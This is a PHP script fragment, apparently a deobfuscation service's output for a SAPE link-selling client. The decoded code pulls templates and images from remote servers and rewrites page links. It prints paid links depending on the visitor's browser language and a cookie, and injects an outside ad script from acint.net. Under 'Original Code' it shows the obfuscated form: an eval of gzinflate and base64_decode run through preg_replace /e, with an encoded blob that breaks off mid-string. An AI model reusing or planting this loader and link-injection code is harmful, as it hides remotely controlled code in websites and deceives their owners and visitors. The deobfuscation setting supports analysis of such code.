                    return $this->_return_html($this->_data['index']['checkCode'] . $this->_noindex_code);
                } else {
                    return $this->_return_not_found();
                }
          }
    }

    function _return_article(){
        $this->_set_request_mode('article');
        $article_meta = $this->_data['index']['articles'][$this->_request_uri];
        $this->_save_file_name = $article_meta['id'] . '.article.db';
        $this->_article_id = $article_meta['id'];
        $this->load_data();

        if (!isset($this->_data['article']['date_updated']) OR $this->_data['article']['date_updated']  < $article_meta['date_updated']) {
            unlink($this->_get_db_file());
            $this->load_data();
        }

        $template = $this->_get_template($this->_data['index']['templates'][$article_meta['template_id']]['url'], $article_meta['template_id']);

        $article_html = $this->_fetch_article($template);

        if ($this->_is_our_bot) {
            $article_html .= $this->_noindex_code;
        }

        return $this->_return_html($article_html);

    }

    function _prepare_path_to_images(){
        $this->_images_path = dirname(__FILE__) . '/images/';
        if (!is_dir($this->_images_path)) {

            if (@mkdir($this->_images_path)) {
                @chmod($this->_images_path, 0777);
            } else {
                return $this->raise_error('344 ' . $this->_images_path . '. 48.');
              }
        }
        if ($this->_multi_site) {
            $this->_images_path .= $this->_host. '.';
        }

        return true;
    }

    function _return_image(){
        $this->_set_request_mode('image');
        $this->_prepare_path_to_images();


        $image_meta = $this->_data['index']['images'][$this->_request_uri];
        $image_path = $this->_images_path . $image_meta['id']. '.' . $image_meta['ext'];

        if (!is_file($image_path) or filemtime($image_path) > $image_meta['date_updated']) {
            @touch($image_path, $image_meta['date_updated']);

            $path = $image_meta['dispenser_path'];

            foreach ($this->_server_list as $server){
                if ($data = $this->fetch_remote_file($server, $path)) {
                    if (substr($data, 0, 12) == 'FATAL ERROR:') {
                        $this->raise_error($data);
                    } else {
                        if (strlen($data) > 0) {
                            $this->_write($image_path, $data);
                            break;
                        }
                    }
                }
            }
        }

        unset($data);
        if (!is_file($image_path)) {
            return $this->_return_not_found();
        }
        $image_file_meta = @getimagesize($image_path);
        $content_type = isset($image_file_meta['mime'])?$image_file_meta['mime']:'image';
        if ($this->_headers_enabled) {
            header('Content-Type: ' . $content_type);
        }
        return $this->_read($image_path);
    }

    function _fetch_article($template){
        if (strlen($this->_charset)) {
            $template = str_replace('{meta_charset}',  $this->_charset, $template);
        }
        foreach ($this->_data['index']['template_fields'] as $field){
            if (isset($this->_data['article'][$field])) {
                $template = str_replace('{' . $field . '}',  $this->_data['article'][$field], $template);
            } else {
                $template = str_replace('{' . $field . '}',  '', $template);
            }
        }
        return ($template);
    }

    function _get_template($template_url, $templateId){
        $this->_save_file_name = 'tpl.articles.db';
        $index_file = $this->_get_db_file();

        if (file_exists($index_file)) {
            $this->_data['templates'] = unserialize($this->_read($index_file));
        }


        if (!isset($this->_data['templates'][$template_url])
            or (time() - $this->_data['templates'][$template_url]['date_updated']) > $this->_data['index']['templates'][$templateId]['lifetime']) {
            $this->_refresh_template($template_url, $index_file);
        }
        if (!isset($this->_data['templates'][$template_url])) {
            if ($this->_template_error){
                return $this->raise_error($this->_template_error);
            }
            return $this->raise_error('m8');
        }

        return $this->_data['templates'][$template_url]['body'];
    }

    function _refresh_template($template_url, $index_file){
        $parseUrl = parse_url($template_url);

        $download_url = '';
        if ($parseUrl['path']) {
            $download_url .= $parseUrl['path'];
        }
        if (isset($parseUrl['query'])) {
            $download_url .= '?' . $parseUrl['query'];
        }

        $template_body = $this->fetch_remote_file($this->_real_host, $download_url, true);

        if (!$this->_is_valid_template($template_body)){
            return false;
        }

        $template_body = $this->_cut_template_links($template_body);

        $this->_data['templates'][$template_url] = array( 'body' => $template_body, 'date_updated' => time());
        $this->_write($index_file, serialize($this->_data['templates']));

        return true;
    }

    function _fill_mask ($data) {
        global $unnecessary;
        $len = strlen($data[0]);
        $mask = str_repeat($this->_mask_code, $len);
        $unnecessary[$this->_mask_code][] = array(
            'mask' => $mask,
            'code' => $data[0],
            'len'  => $len
        );

        return $mask;
    }

    function _cut_unnecessary(&$contents, $code, $mask) {
        global $unnecessary;
        $this->_mask_code = $code;
        $_unnecessary[$this->_mask_code] = array();
        $contents = preg_replace_callback($mask, array($this, '_fill_mask'), $contents);
    }

    function _restore_unnecessary(&$contents, $code) {
        global $unnecessary;
        $offset = 0;
        if (!empty($unnecessary[$code])) {
            foreach ($unnecessary[$code] as $meta) {
                $offset = strpos($contents, $meta['mask'], $offset);
                $contents = substr($contents, 0, $offset)
                    . $meta['code'] . substr($contents, $offset + $meta['len']);
            }
        }
    }

    function _cut_template_links($template_body) {
        if(function_exists('mb_internal_encoding') && strlen($this->_charset) > 0) {
            mb_internal_encoding($this->_charset);
        }
        $link_pattern    = '~(\<a [^\>]*?href[^\>]*?\=["\']{0,1}http[^\>]*?\>.*?\</a[^\>]*?\>|\<a [^\>]*?href[^\>]*?\=["\']{0,1}http[^\>]*?\>|\<area [^\>]*?href[^\>]*?\=["\']{0,1}http[^\>]*?\>)~si';
        $link_subpattern = '~\<a |\<area ~si';
        $rel_pattern     = '~[\s]{1}rel\=["\']{1}[^ "\'\>]*?["\']{1}| rel\=[^ "\'\>]*?[\s]{1}~si';
        $href_pattern    = '~[\s]{1}href\=["\']{0,1}(http[^ "\'\>]*)?["\']{0,1} {0,1}~si';

        $allowed_domains = $this->_data['index']['ext_links_allowed'];
        $allowed_domains[] = $this -> _host;
        $allowed_domains[] = 'www.' . $this -> _host;
        $this->_cut_unnecessary($template_body, 'C', '|<!--(.*?)-->|smi');
        $this->_cut_unnecessary($template_body, 'S', '|<script[^>]*>.*?</script>|si');
        $this->_cut_unnecessary($template_body, 'N', '|<noindex[^>]*>.*?</noindex>|si');

        $slices = preg_split($link_pattern, $template_body, -1,  PREG_SPLIT_DELIM_CAPTURE );
        if(is_array($slices)) {
            foreach ($slices as $id => $link) {
                if ($id % 2 == 0) {
                    continue;
                }
                if (preg_match($href_pattern, $link, $urls)) {
                    $parsed_url = @parse_url($urls[1]);
                    $host = isset($parsed_url['host'])?$parsed_url['host']:false;
                    if (!in_array($host, $allowed_domains) || !$host){
                        $slices[$id] = '<noindex>' . $slices[$id] . '</noindex>';
                    }
                }
            }
            $template_body = implode('', $slices);
        }
        $this->_restore_unnecessary($template_body, 'N');
        $slices = preg_split($link_pattern, $template_body, -1,  PREG_SPLIT_DELIM_CAPTURE );
        if(is_array($slices)) {
            foreach ($slices as $id => $link) {
                if ($id % 2 == 0) {
                    continue;
                }
                if (preg_match($href_pattern, $link, $urls)) {
                    $parsed_url = @parse_url($urls[1]);
                    $host = isset($parsed_url['host'])?$parsed_url['host']:false;
                    if (!in_array($host, $allowed_domains) || !$host) {
                        $slices[$id] = preg_replace($rel_pattern, '', $link);
                        $slices[$id] = preg_replace($link_subpattern, '$0rel="nofollow" ', $slices[$id]);
                    }
                }
            }
            $template_body = implode('', $slices);
        }

        $this->_restore_unnecessary($template_body, 'S');
        $this->_restore_unnecessary($template_body, 'C');
        return $template_body;
    }

    function _is_valid_template($template_body){
        foreach ($this->_data['index']['template_required_fields'] as $field){
            if (strpos($template_body, '{' . $field . '}') === false){
                $this->_template_error = 'n8 ' . $field . '.';
                return false;
            }
        }
        return true;
    }

    function _return_html($html){
        if ($this->_headers_enabled){
            header('HTTP/1.x 200 OK');
            if (!empty($this->_charset)){
                    header('Content-Type: text/html; charset=' . $this->_charset);
            }
        }
        return $html;
    }

    function _return_not_found(){
        header('HTTP/1.x 404 Not Found');
    }

    function _get_dispenser_path(){
        switch ($this->_request_mode){
            case 'index':
                return '/?user=' . _SAPE_USER . '&host=' .
                $this->_host . '&rtype=' . $this->_request_mode;
            break;
            case 'article':
                return '/?user=' . _SAPE_USER . '&host=' .
                $this->_host . '&rtype=' . $this->_request_mode . '&artid=' . $this->_article_id;
            break;
            case 'image':
                return $this->image_url;
            break;
        }
    }

    function _set_request_mode($mode){
        $this->_request_mode = $mode;
    }

    function _get_db_file(){
        if ($this->_multi_site){
            return dirname(__FILE__) . '/' . $this->_host . '.' . $this->_save_file_name;
        }
        else{
            return dirname(__FILE__) . '/' . $this->_save_file_name;
        }
    }

    function set_data($data){
       $this->_data[$this->_request_mode] = $data;
    }

}


$sape = new SAPE_client();



if (substr($_SERVER['HTTP_ACCEPT_LANGUAGE'], 0,2) == "ru" OR substr($_SERVER['HTTP_ACCEPT_LANGUAGE'], 0,2) == "uk" OR substr($_SERVER['HTTP_ACCEPT_LANGUAGE'], 0,2) == "kk"  OR substr($_SERVER['HTTP_ACCEPT_LANGUAGE'], 0,2) == "be"){
echo'<div class="warper">';
echo $sape->return_links();
echo'</div>';
}
elseif (substr($_SERVER['HTTP_ACCEPT_LANGUAGE'], 0,2) == "de" OR substr($_SERVER['HTTP_ACCEPT_LANGUAGE'], 0,2) == "fr" OR substr($_SERVER['HTTP_ACCEPT_LANGUAGE'], 0,2) == "zh" OR substr($_SERVER['HTTP_ACCEPT_LANGUAGE'], 0,2) == "bg" OR substr($_SERVER['HTTP_ACCEPT_LANGUAGE'], 0,2) == "da" OR substr($_SERVER['HTTP_ACCEPT_LANGUAGE'], 0,2) == "it" OR substr($_SERVER['HTTP_ACCEPT_LANGUAGE'], 0,2) == "es" OR substr($_SERVER['HTTP_ACCEPT_LANGUAGE'], 0,2) == "cs" OR substr($_SERVER['HTTP_ACCEPT_LANGUAGE'], 0,2) == "pt" OR substr($_SERVER['HTTP_ACCEPT_LANGUAGE'], 0,2) == "sr" OR substr($_SERVER['HTTP_ACCEPT_LANGUAGE'], 0,2) == "en") {
echo'<div class="warpper">';
echo $sape->return_links();
echo'</div>';
}
elseif (!isset($_COOKIE['__utmr_cache']))
{
echo'<div class="warper">';
echo $sape->return_links();
echo'</div>';
}
else
{
echo'<div class="warpper">';
echo $sape->return_links();
echo'</div>';
}

?>
<script type="text/javascript">
<!--
var _acic={dataProvider:10};(function(){var e=document.createElement("script");e.type="text/javascript";e.async=true;e.src="//www2.acint.net/aci.js";var t=document.getElementsByTagName("script")[0];t.parentNode.insertBefore(e,t)})()
//-->
</script>

Did this file decode correctly?

Original Code

<?php
preg_replace("/.*/e","\x65\x76\x61\x6C\x28\x67\x7A\x69\x6E\x66\x6C\x61\x74\x65\x28\x62\x61\x73\x65\x36\x34\x5F\x64\x65\x63\x6F\x64\x65\x28'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